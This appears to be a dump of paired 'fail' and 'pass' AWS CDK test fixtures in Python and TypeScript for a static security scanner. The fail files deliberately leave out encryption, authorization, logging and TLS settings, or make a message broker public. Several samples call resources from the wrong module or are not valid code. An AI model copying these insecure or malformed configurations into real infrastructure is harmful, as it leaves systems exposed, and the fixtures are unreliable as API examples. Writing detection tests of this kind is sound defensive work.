    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudfront as cloudfront\nfrom aws_cdk import aws_wafv2 as wafv2\n\nclass CloudFrontDistributionStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a WebACL\n        web_acl = wafv2.CfnWebACL(\n            self,\n            \"MyWebACL\",\n            default_action={\n                \"allow\": {}\n            },\n            # Configure your WebACL as needed\n        )\n\n        # Create a CloudFront distribution\n        distribution = cloudfront.CfnDistribution(\n            self,\n            \"MyCloudFrontDistribution\",\n            distribution_config={\n                \"defaultCacheBehavior\": {\n                    # Configure your cache behavior as needed\n                },\n                \"enabled\": True,\n                \"webAclId\": web_acl.attr_arn  # Set the WebACL association\n            }\n        )\n\napp = core.App()\nCloudFrontDistributionStack(app, \"CloudFrontDistributionStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/WorkspaceRootVolumeEncrypted/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_workspaces as workspaces\n\nclass WorkSpacesStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a WorkSpaces directory\n        directory = workspaces.CfnWorkspaceDirectory(\n            self, \"MyWorkspaceDirectory\",\n            directory_name=\"my-workspace-directory\",\n            subnet_ids=[\"subnet-12345678\"],  # Replace with your subnet IDs\n            self_service_permissions=\"ENABLED\",\n        )\n\n        # Create a WorkSpaces workspace with root volume encryption enabled\n        workspace = workspaces.CfnWorkspace(\n            self, \"MyWorkspace\",\n            bundle_id=\"wsb-12345678\",  # Replace with your bundle ID\n            user_name=\"my-user\",\n            root_volume_encryption_enabled=False,\n            user_volume_encryption_enabled=False,  # Set to True if you want user volume encryption\n            workspace_properties={\"directoryId\": directory.ref},\n        )\n\napp = core.App()\nWorkSpacesStack(app, \"WorkSpacesStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/WorkspaceRootVolumeEncrypted/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_workspaces as workspaces\n\nclass WorkSpacesStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a WorkSpaces directory\n        directory = workspaces.CfnWorkspaceDirectory(\n            self, \"MyWorkspaceDirectory\",\n            directory_name=\"my-workspace-directory\",\n            subnet_ids=[\"subnet-12345678\"],  # Replace with your subnet IDs\n            self_service_permissions=\"ENABLED\",\n        )\n\n        # Create a WorkSpaces workspace with root volume encryption enabled\n        workspace = workspaces.CfnWorkspace(\n            self, \"MyWorkspace\",\n            bundle_id=\"wsb-12345678\",  # Replace with your bundle ID\n            user_name=\"my-user\",\n            root_volume_encryption_enabled=True,\n            user_volume_encryption_enabled=False,  # Set to True if you want user volume encryption\n            workspace_properties={\"directoryId\": directory.ref},\n        )\n\napp = core.App()\nWorkSpacesStack(app, \"WorkSpacesStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/WorkspaceUserVolumeEncrypted/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_workspaces as workspaces\n\nclass WorkSpacesStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a WorkSpaces directory\n        directory = workspaces.CfnWorkspaceDirectory(\n            self, \"MyWorkspaceDirectory\",\n            directory_name=\"my-workspace-directory\",\n            subnet_ids=[\"subnet-12345678\"],  # Replace with your subnet IDs\n            self_service_permissions=\"ENABLED\",\n        )\n\n        # Create a WorkSpaces workspace with root volume encryption enabled\n        workspace = workspaces.CfnWorkspace(\n            self, \"MyWorkspace\",\n            bundle_id=\"wsb-12345678\",  # Replace with your bundle ID\n            user_name=\"my-user\",\n            root_volume_encryption_enabled=False,\n            user_volume_encryption_enabled=False,\n            workspace_properties={\"directoryId\": directory.ref},\n        )\n\napp = core.App()\nWorkSpacesStack(app, \"WorkSpacesStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/WorkspaceUserVolumeEncrypted/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_workspaces as workspaces\n\nclass WorkSpacesStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a WorkSpaces directory\n        directory = workspaces.CfnWorkspaceDirectory(\n            self, \"MyWorkspaceDirectory\",\n            directory_name=\"my-workspace-directory\",\n            subnet_ids=[\"subnet-12345678\"],  # Replace with your subnet IDs\n            self_service_permissions=\"ENABLED\",\n        )\n\n        # Create a WorkSpaces workspace with root volume encryption enabled\n        workspace = workspaces.CfnWorkspace(\n            self, \"MyWorkspace\",\n            bundle_id=\"wsb-12345678\",  # Replace with your bundle ID\n            user_name=\"my-user\",\n            root_volume_encryption_enabled=True,\n            user_volume_encryption_enabled=True,\n            workspace_properties={\"directoryId\": directory.ref},\n        )\n\napp = core.App()\nWorkSpacesStack(app, \"WorkSpacesStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/s3.py",
    "content": "from aws_cdk import App, Stack, aws_s3\n\n\nclass AppStack(Stack):\n    def __init__(self, app: App, id: str) -> None:\n        super().__init__(app, id)\n\n        bucket = aws_s3.Bucket(\n            self,\n            \"example\",\n            encryption=aws_s3.BucketEncryption.S3_MANAGED,\n        )\n\n\napp = App()\nAppStack(app, \"example-stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ALBDropHttpHeaders/fail.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass ALBDropHttpHeadersStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnLoadBalancer(this, { type: 'not_application', loadBalancerAttributes: [{'key': 'routing.http.drop_invalid_header_fields.enabled', 'value': 'true'}] })\n        new elbv2.CfnLoadBalancer(this, { type: 'application', loadBalancerAttributes: [{'value': 'false', 'key': 'routing.http.drop_invalid_header_fields.enabled'}] })\n        new elbv2.CfnLoadBalancer(this, { loadBalancerAttributes: [{'key': 'routing.http.drop_invalid_header_fields.disable', 'value': 'true'}], type: 'application' })\n        new elbv2.CfnLoadBalancer(this, { loadBalancerAttributes: [], type: 'application' })\n    }\n}\n\nconst app = new App();\nnew ALBDropHttpHeadersStack(app, 'ALBDropHttpHeadersStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ALBDropHttpHeaders/pass.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass ALBDropHttpHeadersStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnLoadBalancer(this, { type: 'application', loadBalancerAttributes: [{'key': 'routing.http.drop_invalid_header_fields.enabled', 'value': 'true'}] })\n        new elbv2.CfnLoadBalancer(this, { type: 'application', loadBalancerAttributes: [{'value': 'true', 'key': 'routing.http.drop_invalid_header_fields.enabled'}] })\n        new elbv2.CfnLoadBalancer(this, { loadBalancerAttributes: [{'key': 'routing.http.drop_invalid_header_fields.enabled', 'value': 'true'}], type: 'application' })\n        new elbv2.CfnLoadBalancer(this, { loadBalancerAttributes: [{'value': 'true', 'key': 'routing.http.drop_invalid_header_fields.enabled'}], type: 'application' })\n    }\n}\n\nconst app = new App();\nnew ALBDropHttpHeadersStack(app, 'ALBDropHttpHeadersStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ALBListenerHTTPS/fail.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass ALBListenerHTTPSStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnListener(this, {})\n    }\n}\n\nconst app = new App();\nnew ALBListenerHTTPSStack(app, 'ALBListenerHTTPSStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ALBListenerHTTPS/pass.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass ALBListenerHTTPSStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnListener(this, {protocol: 'HTTPS'})\n        new elbv2.CfnListener(this, {protocol: 'TLS'})\n        new elbv2.CfnListener(this, {protocol: 'TCP'})\n        new elbv2.CfnListener(this, {protocol: 'UDP'})\n        new elbv2.CfnListener(this, {protocol: 'TCP_UDP'})\n        new elbv2.CfnListener(this, {defaultActions: [{type: 'redirect', redirectConfig:{protocol: 'HTTPS'}}]})\n    }\n}\n\nconst app = new App();\nnew ALBListenerHTTPSStack(app, 'ALBListenerHTTPSStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/APIGatewayAccessLogging/fail.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { apigateway as api } from 'aws-cdk-lib';\n\nclass APIGatewayAccessLoggingStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new api.CfnStage(this, {})\n    }\n}\n\nconst app = new App();\nnew APIGatewayAccessLoggingStack(app, 'APIGatewayAccessLoggingStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/APIGatewayAccessLogging/pass.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { apigateway as api } from 'aws-cdk-lib';\n\nclass APIGatewayAccessLoggingStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new api.CfnStage(this, { accessLogSetting: { destinationArn: \"1\" }} )\n    }\n}\n\nconst app = new App();\nnew APIGatewayAccessLoggingStack(app, 'APIGatewayAccessLoggingStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/APIGatewayAuthorization/fail.ts",
    "content": "// Import necessary AWS CDK packages\nimport * as apigateway from '@aws-cdk/aws-apigateway';\nimport { Resource } from '@aws-cdk/core';\n\n// Example resource and method declarations\nconst resource: Resource = new Resource(); // Placeholder for actual resource initialization\n\n// Test cases for the policy patterns\n\n// This should match the first pattern and not be sanitized by the second pattern\n// SOURCE\nconst method1 = resource.addMethod('GET', new apigateway.MockIntegration(), {\n  apiKeyRequired: false\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/APIGatewayAuthorization/fail__2__.ts",
    "content": "// Import necessary AWS CDK packages\nimport * as apigateway from '@aws-cdk/aws-apigateway';\nimport { Resource } from '@aws-cdk/core';\n\n// Example resource and method declarations\nconst resource: Resource = new Resource(); // Placeholder for actual resource initialization\n\n// Test cases for the policy patterns\n\n// This should match the second pattern\n// SINK\nconst method2 = resource.addMethod('POST', new apigateway.MockIntegration(), {\n  authorizationType: apigateway.AuthorizationType.NONE\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/APIGatewayAuthorization/pass.ts",
    "content": "// Import necessary AWS CDK packages\nimport * as apigateway from '@aws-cdk/aws-apigateway';\nimport { Resource } from '@aws-cdk/core';\n\n// Example resource and method declarations\nconst resource: Resource = new Resource(); // Placeholder for actual resource initialization\n\n// Test cases for the policy patterns\n\n// This should not match any pattern as it includes an authorization type\n// SANITIZER\nconst method3 = resource.addMethod('PUT', new apigateway.MockIntegration(), {\n  authorizationType: apigateway.AuthorizationType.COGNITO,\n  apiKeyRequired: true\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/APIGatewayAuthorization/pass__2__.ts",
    "content": "// Import necessary AWS CDK packages\nimport * as apigateway from '@aws-cdk/aws-apigateway';\nimport { Resource } from '@aws-cdk/core';\n\n// Example resource and method declarations\nconst resource: Resource = new Resource(); // Placeholder for actual resource initialization\n\n// Test cases for the policy patterns\n\n// This should not match any pattern as it includes an authorization type and is not open\nconst method4 = resource.addMethod('DELETE', new apigateway.MockIntegration(), {\n  authorizationType: apigateway.AuthorizationType.IAM\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/APIGatewayCacheEnable/fail.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass APIGatewayCacheEnableStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.Stage(this, {})\n    }\n}\n\nconst app = new App();\nnew APIGatewayCacheEnableStack(app, 'APIGatewayCacheEnableStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/APIGatewayCacheEnable/pass.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass APIGatewayCacheEnableStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n        new elbv2.Stage(this, { cacheClusterEnabled: true} )\n    }\n}\n\nconst app = new App();\nnew APIGatewayCacheEnableStack(app, 'APIGatewayCacheEnableStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/APIGatewayV2AccessLogging/fail.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass APIGatewayV2AccessLoggingStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnApi(this, {})\n    }\n}\n\nconst app = new App();\nnew APIGatewayV2AccessLoggingStack(app, 'APIGatewayV2AccessLoggingStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/APIGatewayV2AccessLogging/pass.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass APIGatewayV2AccessLoggingStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnApi(this, {accessLogSettings: {destinationArn: \"1\"}})\n    }\n}\n\nconst app = new App();\nnew APIGatewayV2AccessLoggingStack(app, 'APIGatewayV2AccessLoggingStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/APIGatewayXray/fail.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass APIGatewayXrayStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnStage(this, {})\n        new elbv2.CfnStage(this, {tracingEnabled: false})\n    }\n}\n\nconst app = new App();\nnew APIGatewayXrayStack(app, 'APIGatewayXrayStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/APIGatewayXray/pass.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass APIGatewayXrayStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnStage(this, {tracingEnabled: true})\n    }\n}\n\nconst app = new App();\nnew APIGatewayXrayStack(app, 'APIGatewayXrayStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/AmazonMQBrokerPublicAccess/fail.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass AmazonMQBrokerPublicAccessStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n        new elbv2.CfnBroker(this, {publiclyAccessible: true})\n    }\n}\n\nconst app = new App();\nnew AmazonMQBrokerPublicAccessStack(app, 'AmazonMQBrokerPublicAccessStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/AmazonMQBrokerPublicAccess/pass.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass AmazonMQBrokerPublicAccessStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n        new elbv2.CfnBroker(this, {})\n        new elbv2.CfnBroker(this, {publiclyAccessible: false})\n    }\n}\n\nconst app = new App();\nnew AmazonMQBrokerPublicAccessStack(app, 'AmazonMQBrokerPublicAccessStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/AppSyncFieldLevelLogs/fail.ts",
    "content": "// Import necessary AWS CDK packages\nimport * as appsync from '@aws-cdk/aws-appsync';\n\n// Example of a log configuration that does not enable field-level logging\n// FINDING\nconst logConfig: appsync.LogConfig = {\n  // log configuration details\n};\n\n// This should match the pattern and be flagged as a vulnerability\n// SINK\nconst graphqlApiWithoutLogs = new appsync.GraphqlApi(this, 'apiWithoutLogs', {\n  // other configuration details\n  logConfig: {\n    // Incorrect or missing fieldLogLevel configuration\n  }\n});\n\n// The SAST engine should flag 1 vulnerability: `graphqlApiWithoutLogs`.\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/AppSyncFieldLevelLogs/pass.ts",
    "content": "// Import necessary AWS CDK packages\nimport * as appsync from '@aws-cdk/aws-appsync';\n\n// Example of a log configuration that does not enable field-level logging\n// FINDING\nconst logConfig: appsync.LogConfig = {\n  fieldLogLevel: appsync.FieldLogLevel.ALL\n};\n\n// This should not match the pattern as it includes a logConfig with FieldLogLevel\nconst graphqlApiWithLogs = new appsync.GraphqlApi(this, 'apiWithLogs', {\n  // other configuration details\n  logConfig: {\n    fieldLogLevel: appsync.FieldLogLevel.ALL // This is the correct configuration\n  }\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/AppSyncLogging/fail.ts",
    "content": "// Import necessary AWS CDK packages\nimport * as appsync from '@aws-cdk/aws-appsync';\n\n// Example of a log configuration\n// FINDING\nconst logConfig: appsync.LogConfig = {\n  // log configuration details\n};\n\n// This should match the pattern and be flagged as a vulnerability\n// SINK\nconst graphqlApiWithoutRole = new appsync.GraphqlApi(this, 'apiWithoutRole', {\n  // other configuration details\n  logConfig: {\n    // log configuration details without role\n  }\n});\n\n// The SAST engine should flag 1 vulnerability: `graphqlApiWithoutRole`.\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/AppSyncLogging/pass.ts",
    "content": "// Import necessary AWS CDK packages\nimport * as appsync from '@aws-cdk/aws-appsync';\n\n// Example of a log configuration\n// FINDING\nconst logConfig: appsync.LogConfig = {\n  // log configuration details\n};\n\n// This should match the pattern and be flagged as a vulnerability\n// SINK\nconst graphqlApiWithoutRole = new appsync.GraphqlApi(this, 'apiWithoutRole', {\n  // other configuration details\n  logConfig: {\n    // log configuration details without role\n  }\n});\n\n// The SAST engine should flag 1 vulnerability: `graphqlApiWithoutRole`.\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/AthenaWorkgroupConfiguration/fail.ts",
    "content": "// Import necessary AWS CDK packages\nimport * as athena from '@aws-cdk/aws-athena';\n\n// This should match the pattern and be flagged as a vulnerability\n// SINK\nconst workgroupWithoutEnforcement = new athena.CfnWorkGroup(this, 'workgroupWithoutEnforcement', {\n  // other configuration details\n  workGroupConfiguration: {\n    // Workgroup configuration details without enforceWorkGroupConfiguration\n  }\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/AthenaWorkgroupConfiguration/fail__2__.ts",
    "content": "// Import necessary AWS CDK packages\nimport * as athena from '@aws-cdk/aws-athena';\n\n// Example of a Workgroup configuration\n// FINDING\nconst workgroupConfig: athena.CfnWorkGroup.WorkGroupConfigurationProperty = {\n  // Workgroup configuration details\n};\n\n\nconst workgroupWithoutEnforcement2 = new athena.CfnWorkGroup(this, 'workgroupWithoutEnforcement', {\n  // other configuration details\n  workGroupConfiguration: workgroupConfig\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/AthenaWorkgroupConfiguration/pass.ts",
    "content": "// Import necessary AWS CDK packages\nimport * as athena from '@aws-cdk/aws-athena';\n\n// Example of a Workgroup configuration\n// FINDING\nconst workgroupConfig: athena.CfnWorkGroup.WorkGroupConfigurationProperty = {\n  enforceWorkGroupConfiguration: true\n};\n\n// This should not match the pattern as it includes enforceWorkGroupConfiguration set to true\nconst workgroupWithEnforcement = new athena.CfnWorkGroup(this, 'workgroupWithEnforcement', {\n  // other configuration details\n  enforceWorkGroupConfiguration: true\n});\n\n\n// This should not match the pattern as it includes enforceWorkGroupConfiguration set to true\nconst workgroupWithEnforcement2 = new athena.CfnWorkGroup(this, 'workgroupWithEnforcement', workgroupConfig);\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/AuroraEncryption/fail.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass AuroraEncryptionStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnDBCluster(this, {})\n        new elbv2.CfnDBCluster(this, {storageEncrypted: false})\n    }\n}\n\nconst app = new App();\nnew AuroraEncryptionStack(app, 'AuroraEncryptionStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/AuroraEncryption/pass.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass AuroraEncryptionStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnDBCluster(this, {storageEncrypted: true})\n    }\n}\n\nconst app = new App();\nnew AuroraEncryptionStack(app, 'AuroraEncryptionStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/BackupVaultEncrypted/fail.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass BackupVaultEncryptedStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnBackupVault(this, {})\n        new elbv2.CfnBackupVault(this, {encryptionKeyArn: false})\n    }\n}\n\nconst app = new App();\nnew BackupVaultEncryptedStack(app, 'BackupVaultEncryptedStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/BackupVaultEncrypted/pass.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass BackupVaultEncryptedStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnBackupVault(this, {encryptionKeyArn: true})\n    }\n}\n\nconst app = new App();\nnew BackupVaultEncryptedStack(app, 'BackupVaultEncryptedStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudFrontTLS12/fail.ts",
    "content": "// Import necessary AWS CDK packages\nimport * as cloudfront from '@aws-cdk/aws-cloudfront';\nimport { Construct } from '@aws-cdk/core';\n\n// Example of a ViewerCertificateProperty that does not specify TLS v1.2\n// FINDING\nconst viewerCertificateConfig: cloudfront.CfnDistribution.ViewerCertificateProperty = {\n  // Viewer certificate configuration details\n};\n\n// This should match the pattern and be flagged as a vulnerability\n// SINK\nconst distributionWithoutTLSv12 = new cloudfront.CfnDistribution(new Construct(), 'distributionWithoutTLSv12', {\n  // other configuration details\n  viewerCertificate: {\n    // Incorrect or missing minimumProtocolVersion configuration\n  }\n});\n\n// The SAST engine should flag 1 vulnerability: `distributionWithoutTLSv12`.\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudFrontTLS12/pass.ts",
    "content": "// Import necessary AWS CDK packages\nimport * as cloudfront from '@aws-cdk/aws-cloudfront';\nimport { Construct } from '@aws-cdk/core';\n\n// Example of a ViewerCertificateProperty that does not specify TLS v1.2\n// FINDING\nconst viewerCertificateConfig: cloudfront.CfnDistribution.ViewerCertificateProperty = {\n  // Viewer certificate configuration details\n};\n\n// This should not match the pattern as it includes a ViewerCertificate with TLSv1.2\nconst distributionWithTLSv12 = new cloudfront.CfnDistribution(new Construct(), 'distributionWithTLSv12', {\n  // other configuration details\n  viewerCertificate: {\n    minimumProtocolVersion: 'TLSv1.2' // This is the correct configuration\n  }\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudTrailLogValidation/fail.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass CloudTrailLogValidationStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnTrail(this, {})\n        new elbv2.CfnTrail(this, {enableLogFileValidation: false})\n    }\n}\n\nconst app = new App();\nnew CloudTrailLogValidationStack(app, 'CloudTrailLogValidationStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudTrailLogValidation/pass.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport { aws_elasticloadbalancingv2 as elbv2 } from 'aws-cdk-lib';\n\nclass CloudTrailLogValidationStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        new elbv2.CfnTrail(this, {enableLogFileValidation: true})\n    }\n}\n\nconst app = new App();\nnew CloudTrailLogValidationStack(app, 'CloudTrailLogValidationStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudWatchLogGroupKMSKey/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as logs from 'aws-cdk-lib/aws-logs';\n\nexport class MyLogGroupStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    new logs.LogGroup(this, 'MyLogGroup', {\n      logGroupName: 'MyLogGroupName', // Name of the log group\n      removalPolicy: cdk.RemovalPolicy.DESTROY, // Setting removal policy\n      retention: logs.RetentionDays.ONE_MONTH, // Set the retention policy as needed\n    });\n\n    // You can add other resources or configurations to the stack here\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew MyLogGroupStack(app, 'MyLogGroupStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudWatchLogGroupKMSKey/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as logs from 'aws-cdk-lib/aws-logs';\nimport * as kms from 'aws-cdk-lib/aws-kms';\n\nexport class MyLogGroupStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    new logs.LogGroup(this, 'MyLogGroup', {\n      logGroupName: 'MyLogGroupName', // Name of the log group\n      removalPolicy: cdk.RemovalPolicy.DESTROY, // Setting removal policy\n      retention: logs.RetentionDays.ONE_MONTH, // Set the retention policy as needed\n      encryptionKey: new kms.Key(this, 'Key'),\n    });\n\n    // You can add other resources or configurations to the stack here\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew MyLogGroupStack(app, 'MyLogGroupStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudWatchLogGroupRetention/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as logs from 'aws-cdk-lib/aws-logs';\n\nexport class MyLogGroupStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Creating a CloudFormation LogGroup resource\n    const logGroup = new logs.CfnLogGroup(this, 'MyLogGroup', {\n      logGroupName: 'MyLogGroupName', // Name of the log group\n      kmsKeyId: '1', // Specify the KMS key ID\n    });\n\n    // Optionally set removal policy\n    logGroup.applyRemovalPolicy(cdk.RemovalPolicy.DESTROY);\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew MyLogGroupStack(app, 'MyLogGroupStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudWatchLogGroupRetention/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as logs from 'aws-cdk-lib/aws-logs';\n\nexport class MyLogGroupStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Creating a CloudFormation LogGroup resource\n    const logGroup = new logs.CfnLogGroup(this, 'MyLogGroup', {\n      logGroupName: 'MyLogGroupName', // Name of the log group\n      retentionInDays: 30, // Set the retention policy as needed\n      kmsKeyId: '1', // Specify the KMS key ID\n    });\n\n    // Optionally set removal policy\n    logGroup.applyRemovalPolicy(cdk.RemovalPolicy.DESTROY);\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew MyLogGroupStack(app, 'MyLogGroupStack');\n"
